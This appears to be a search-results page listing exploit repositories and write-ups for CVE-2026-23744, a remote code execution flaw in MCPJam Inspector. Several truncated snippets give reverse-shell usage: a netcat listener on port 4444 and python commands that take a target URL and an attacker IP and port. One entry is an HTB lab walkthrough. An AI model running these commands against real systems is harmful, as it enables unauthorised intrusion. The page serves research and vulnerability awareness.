26 matches found
MCPJam Inspector - Remote Code Execution
MCPJam inspector is the local-first development platform for MCP servers. The Latest version 1.4.2 and earlier are vulnerable to a remote code execution RCE vulnerability, which allows an attacker to send a crafted HTTP request that triggers the installation of an MCP server, leading to RCE. id:...
mcpExec
mcpExec는 CVE-2026-23744를 이용하여 취약한 MCPJam Inspector 설치의 URL을 통해 리버스 셸을 획득하는 도구입니다. 설치 git clone https://github.com/daemoncibsec/mcpExec.git cd mcpExec python3 -m venv venv source venv/bin/activate pip install rich pip install argparse pip install requests chmod +x mcpExec.py venv 종료: deactivate...
CVE-2026-23744-PoC
このリポジトリには README がありません。...
mcpjaminspector-unauth-rce
mcpjaminspector-unauth-rce CVE-2026-23744 MCPJam inspector = 1.4.2 におけるRCE 脆弱性の詳細 https://github.com/MCPJam/inspector/security/advisories/GHSA-232v-j27c-5pp6 使用方法 usage: mcpjaminspector-unauth-rce.py -h --target TARGET --command COMMAND options: -h, --help show this help message and exit --target...
CVE-2026-23744
CVE-2026-23744 CVE-2026-23744を悪用するためのPythonスクリプト 使用方法：まず、2つのターミナルを開いてください 1つ目のターミナル -- nc -nvlp 4444 2つ目のターミナル -- python CVE-2026-23744.py -lhost あなたのIP -url ターゲットURL ヘルプメニュー：python CVE-2026-23744.py -h...
MCPJam-Inspector-1.4.2-Remote-Code-Execution-CVE-2026-23744
칼리 리눅스에서 - 터미널 1 nc -lvnp 4444 칼리 리눅스에서 - 터미널 2 python3 ./CVE-2026-23744.py -t http://TARGET.com -p 4444 -i YOUR-KALI-LINUX-IP...
CVE-2026-23744
CVE-2026-23744 python3 CVE-2026-23744.py -u http://devhub.htb:6274 -i 10.10.14.106 -p 4321...
CVE-2026-23744
usage: exploit.py -h --lhost LHOST --lport LPORT --rhost RHOST CVE-2026-23744 - PoC options: -h, --help 이 도움말 메시지를 표시하고 종료합니다 --lhost, -l LHOST 공격자 IP 주소 --lport, -p LPORT 공격자 포트 --rhost, -t RHOST 대상 URL...
DevHub-HTB-Walkthrough
DevHub – HTB 워크스루 Medium Linux 머신: DevHub 난이도: Medium OS: Linux 주제: CVE-2026-23744, Chisel Tunneling, Jupyter, Flask API, Root 권한 상승 📌 1. 정찰 nmap -sC -sV devhub.htb 결과: Port 22 SSH Port 80 HTTP Port 6274 MCPJam Inspector 📌 2. Hosts 파일 수정 echo "10.x.x.x devhub.htb" /etc/hosts 📌 3. 웹사이트 탐색...
CVE-2026-23744-exploit
このリポジトリには README がありません。...
CVE-2026-23744
이 저장소에는 README가 없습니다...
CVE-2026-23744
이 저장소에는 README가 없습니다...
Exploit for Missing Authentication for Critical Function in Mcpjam Inspector
CVE-2026-23744: Unauthenticated Remote Code Execution PoC...
Exploit for Missing Authentication for Critical Function in Mcpjam Inspector
MCPJam Inspector Authorized Security Validator A bounded proo...
Exploit for Missing Authentication for Critical Function in Mcpjam Inspector
cve-2026...
📄 MCPJam Inspector 1.4.2 Command Injection
This is an advanced Python proof of concept for CVE-2026-23744 demonstrating command injection through a vulnerable MCP API endpoint, leading to remote code execution and reverse shell access. The script supports multiple payload types, endpoint discovery, listener management, and several...
Exploit for Missing Authentication for Critical Function in Mcpjam Inspector
CVE-2026-23744 --- Description MCPJam inspector is a loca...
Exploit for Missing Authentication for Critical Function in Mcpjam Inspector
on kali linux - terminal 1...